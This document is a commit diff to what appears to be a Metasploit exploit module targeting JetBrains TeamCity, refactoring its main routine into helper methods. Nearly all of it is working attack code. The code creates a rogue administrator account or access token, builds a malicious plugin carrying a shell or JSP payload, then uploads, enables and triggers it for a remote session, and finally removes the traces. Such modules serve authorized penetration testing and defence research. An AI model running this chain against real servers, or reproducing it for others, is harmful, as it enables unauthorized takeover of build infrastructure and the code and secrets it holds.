reduce the size of teh exploit method by spinngin out two new methods create_payload_plugin and auth_new_admin_user. several if/unless blocks were flattened to be inline if/unless
This commit is contained in:
parent
4bd105202a
commit
6d84f0e898
|
@ -187,6 +187,175 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
token_name = nil
|
token_name = nil
|
||||||
token_value = nil
|
token_value = nil
|
||||||
|
|
||||||
|
http_authorization = auth_new_admin_user
|
||||||
|
|
||||||
|
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil?
|
||||||
|
else
|
||||||
|
unless res&.code == 200
|
||||||
|
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
|
||||||
|
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
|
||||||
|
if res && (res.code == 404) && res.body.include?('User not found')
|
||||||
|
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
|
||||||
|
end
|
||||||
|
|
||||||
|
# Extract the authentication token from the response.
|
||||||
|
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
|
||||||
|
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil?
|
||||||
|
|
||||||
|
print_status("Created authentication token: #{token_value}")
|
||||||
|
|
||||||
|
http_authorization = "Bearer #{token_value}"
|
||||||
|
end
|
||||||
|
|
||||||
|
# As we have created an access token, this begin block ensures we delete the token when we are done.
|
||||||
|
begin
|
||||||
|
#
|
||||||
|
# 2. Create a malicious TeamCity plugin to host our payload.
|
||||||
|
#
|
||||||
|
plugin_name = Rex::Text.rand_text_alphanumeric(8)
|
||||||
|
|
||||||
|
zip_plugin = create_payload_plugin(plugin_name)
|
||||||
|
|
||||||
|
fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil?
|
||||||
|
|
||||||
|
#
|
||||||
|
# 3. Upload the payload plugin to the TeamCity server
|
||||||
|
#
|
||||||
|
print_status("Uploading plugin: #{plugin_name}")
|
||||||
|
|
||||||
|
message = Rex::MIME::Message.new
|
||||||
|
|
||||||
|
message.add_part(
|
||||||
|
"#{plugin_name}.zip",
|
||||||
|
nil,
|
||||||
|
nil,
|
||||||
|
'form-data; name="fileName"'
|
||||||
|
)
|
||||||
|
|
||||||
|
message.add_part(
|
||||||
|
zip_plugin.pack.to_s,
|
||||||
|
'application/octet-stream',
|
||||||
|
'binary',
|
||||||
|
"form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""
|
||||||
|
)
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
|
||||||
|
'ctype' => 'multipart/form-data; boundary=' + message.bound,
|
||||||
|
'keep_cookies' => true,
|
||||||
|
'headers' => {
|
||||||
|
'Origin' => full_uri,
|
||||||
|
'Authorization' => http_authorization
|
||||||
|
},
|
||||||
|
'data' => message.to_s
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200
|
||||||
|
|
||||||
|
#
|
||||||
|
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
|
||||||
|
#
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
|
||||||
|
'keep_cookies' => true,
|
||||||
|
'headers' => {
|
||||||
|
'Origin' => full_uri,
|
||||||
|
'Authorization' => http_authorization
|
||||||
|
},
|
||||||
|
'vars_post' => {
|
||||||
|
'action' => 'loadAll',
|
||||||
|
'plugins' => plugin_name
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200
|
||||||
|
|
||||||
|
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
|
||||||
|
begin
|
||||||
|
#
|
||||||
|
# 5. Begin to clean up, register several paths for cleanup.
|
||||||
|
#
|
||||||
|
if (install_path, sep = get_install_path(http_authorization))
|
||||||
|
vprint_status("Target install path: #{install_path}")
|
||||||
|
|
||||||
|
if target['Arch'] == ARCH_JAVA
|
||||||
|
# The Java payload plugin will have its buildServerResources extracted to a path like:
|
||||||
|
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
|
||||||
|
# So we register this for cleanup.
|
||||||
|
# Note: The java process may recreate this a second time after we delete it.
|
||||||
|
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
|
||||||
|
end
|
||||||
|
|
||||||
|
if (build_number = get_build_number(http_authorization))
|
||||||
|
vprint_status("Target build number: #{build_number}")
|
||||||
|
|
||||||
|
# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
|
||||||
|
# path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
|
||||||
|
# So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
|
||||||
|
# it will be empty.
|
||||||
|
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
|
||||||
|
else
|
||||||
|
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_warning('Could not discover install path. Unable to register files for cleanup.')
|
||||||
|
end
|
||||||
|
|
||||||
|
# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
|
||||||
|
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
|
||||||
|
if (data_path = get_data_dir_path(http_authorization))
|
||||||
|
vprint_status("Target data directory path: #{data_path}")
|
||||||
|
|
||||||
|
register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
|
||||||
|
else
|
||||||
|
print_warning('Could not discover data directory path. Unable to register files for cleanup.')
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
|
||||||
|
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
|
||||||
|
#
|
||||||
|
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
|
||||||
|
'keep_cookies' => true,
|
||||||
|
'headers' => {
|
||||||
|
'Origin' => full_uri,
|
||||||
|
'Authorization' => http_authorization
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
#
|
||||||
|
# 7. Ensure we delete the plugin from the server when we are finished.
|
||||||
|
#
|
||||||
|
print_status('Deleting the plugin...')
|
||||||
|
|
||||||
|
print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
|
||||||
|
end
|
||||||
|
ensure
|
||||||
|
#
|
||||||
|
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
|
||||||
|
# password, we cannot delete the user account we created.
|
||||||
|
#
|
||||||
|
if token_name && token_value
|
||||||
|
print_status('Deleting the authentication token...')
|
||||||
|
|
||||||
|
print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def auth_new_admin_user
|
||||||
admin_username = Faker::Internet.username
|
admin_username = Faker::Internet.username
|
||||||
admin_password = Rex::Text.rand_text_alphanumeric(16)
|
admin_password = Rex::Text.rand_text_alphanumeric(16)
|
||||||
|
|
||||||
|
@ -211,7 +380,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
)
|
)
|
||||||
|
|
||||||
unless res&.code == 200
|
unless res&.code == 200
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.')
|
print_warning('Failed to create an administrator user.')
|
||||||
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
|
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
|
||||||
|
@ -231,38 +401,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
|
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
|
||||||
if res&.code == 401
|
if res&.code == 401
|
||||||
fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.')
|
print_warning('Failed to login with new admin user credentials.')
|
||||||
end
|
return nil
|
||||||
else
|
|
||||||
unless res&.code == 200
|
|
||||||
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
|
|
||||||
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
|
|
||||||
if res && (res.code == 404) && res.body.include?('User not found')
|
|
||||||
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
|
|
||||||
end
|
end
|
||||||
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
|
http_authorization
|
||||||
end
|
end
|
||||||
|
|
||||||
# Extract the authentication token from the response.
|
def create_payload_plugin(plugin_name)
|
||||||
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
|
|
||||||
|
|
||||||
if token_value.nil?
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.')
|
|
||||||
end
|
|
||||||
|
|
||||||
print_status("Created authentication token: #{token_value}")
|
|
||||||
|
|
||||||
http_authorization = "Bearer #{token_value}"
|
|
||||||
end
|
|
||||||
|
|
||||||
# As we have created an access token, this begin block ensures we delete the token when we are done.
|
|
||||||
begin
|
|
||||||
#
|
|
||||||
# 2. Create a malicious TeamCity plugin to host our payload.
|
|
||||||
#
|
|
||||||
plugin_name = Rex::Text.rand_text_alphanumeric(8)
|
|
||||||
|
|
||||||
if target['Arch'] == ARCH_CMD
|
if target['Arch'] == ARCH_CMD
|
||||||
|
|
||||||
case target['Platform']
|
case target['Platform']
|
||||||
|
@ -273,7 +419,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
shell = '/bin/sh'
|
shell = '/bin/sh'
|
||||||
flag = '-c'
|
flag = '-c'
|
||||||
else
|
else
|
||||||
fail_with(Failure::BadConfig, 'Unsupported target platform')
|
print_warning('Unsupported target platform.')
|
||||||
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
zip_resources = Rex::Zip::Archive.new
|
zip_resources = Rex::Zip::Archive.new
|
||||||
|
@ -339,7 +486,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
fail_with(Failure::BadConfig, 'Unsupported target architecture')
|
print_warning('Unsupported target architecture.')
|
||||||
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
zip_plugin = Rex::Zip::Archive.new
|
zip_plugin = Rex::Zip::Archive.new
|
||||||
|
@ -366,143 +514,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
|
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
|
||||||
|
|
||||||
#
|
zip_plugin
|
||||||
# 3. Upload the payload plugin to the TeamCity server
|
|
||||||
#
|
|
||||||
print_status("Uploading plugin: #{plugin_name}")
|
|
||||||
|
|
||||||
message = Rex::MIME::Message.new
|
|
||||||
|
|
||||||
message.add_part(
|
|
||||||
"#{plugin_name}.zip",
|
|
||||||
nil,
|
|
||||||
nil,
|
|
||||||
'form-data; name="fileName"'
|
|
||||||
)
|
|
||||||
|
|
||||||
message.add_part(
|
|
||||||
zip_plugin.pack.to_s,
|
|
||||||
'application/octet-stream',
|
|
||||||
'binary',
|
|
||||||
"form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\""
|
|
||||||
)
|
|
||||||
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
|
|
||||||
'ctype' => 'multipart/form-data; boundary=' + message.bound,
|
|
||||||
'keep_cookies' => true,
|
|
||||||
'headers' => {
|
|
||||||
'Origin' => full_uri,
|
|
||||||
'Authorization' => http_authorization
|
|
||||||
},
|
|
||||||
'data' => message.to_s
|
|
||||||
)
|
|
||||||
|
|
||||||
unless res&.code == 200
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.')
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
|
|
||||||
#
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'POST',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
|
|
||||||
'keep_cookies' => true,
|
|
||||||
'headers' => {
|
|
||||||
'Origin' => full_uri,
|
|
||||||
'Authorization' => http_authorization
|
|
||||||
},
|
|
||||||
'vars_post' => {
|
|
||||||
'action' => 'loadAll',
|
|
||||||
'plugins' => plugin_name
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
unless res&.code == 200
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.')
|
|
||||||
end
|
|
||||||
|
|
||||||
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
|
|
||||||
begin
|
|
||||||
#
|
|
||||||
# 5. Begin to clean up, register several paths for cleanup.
|
|
||||||
#
|
|
||||||
if (install_path, sep = get_install_path(http_authorization))
|
|
||||||
vprint_status("Target install path: #{install_path}")
|
|
||||||
|
|
||||||
if target['Arch'] == ARCH_JAVA
|
|
||||||
# The Java payload plugin will have its buildServerResources extracted to a path like:
|
|
||||||
# C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ
|
|
||||||
# So we register this for cleanup.
|
|
||||||
# Note: The java process may recreate this a second time after we delete it.
|
|
||||||
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
|
|
||||||
end
|
|
||||||
|
|
||||||
if (build_number = get_build_number(http_authorization))
|
|
||||||
vprint_status("Target build number: #{build_number}")
|
|
||||||
|
|
||||||
# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
|
|
||||||
# path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\
|
|
||||||
# So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although
|
|
||||||
# it will be empty.
|
|
||||||
register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep))
|
|
||||||
else
|
|
||||||
print_warning('Could not discover build number. Unable to register Catalina files for cleanup.')
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_warning('Could not discover install path. Unable to register files for cleanup.')
|
|
||||||
end
|
|
||||||
|
|
||||||
# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
|
|
||||||
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
|
|
||||||
if (data_path = get_data_dir_path(http_authorization))
|
|
||||||
vprint_status("Target data directory path: #{data_path}")
|
|
||||||
|
|
||||||
register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
|
|
||||||
else
|
|
||||||
print_warning('Could not discover data directory path. Unable to register files for cleanup.')
|
|
||||||
end
|
|
||||||
|
|
||||||
#
|
|
||||||
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
|
|
||||||
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
|
|
||||||
#
|
|
||||||
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
|
|
||||||
res = send_request_cgi(
|
|
||||||
'method' => 'GET',
|
|
||||||
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
|
|
||||||
'keep_cookies' => true,
|
|
||||||
'headers' => {
|
|
||||||
'Origin' => full_uri,
|
|
||||||
'Authorization' => http_authorization
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
unless res&.code == 200
|
|
||||||
fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
ensure
|
|
||||||
#
|
|
||||||
# 7. Ensure we delete the plugin from the server when we are finished.
|
|
||||||
#
|
|
||||||
print_status('Deleting the plugin...')
|
|
||||||
|
|
||||||
print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
|
|
||||||
end
|
|
||||||
ensure
|
|
||||||
#
|
|
||||||
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
|
|
||||||
# password, we cannot delete the user account we created.
|
|
||||||
#
|
|
||||||
if token_name && token_value
|
|
||||||
print_status('Deleting the authentication token...')
|
|
||||||
|
|
||||||
print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_install_path(http_authorization)
|
def get_install_path(http_authorization)
|
||||||
|
|
Loading…
Reference in New Issue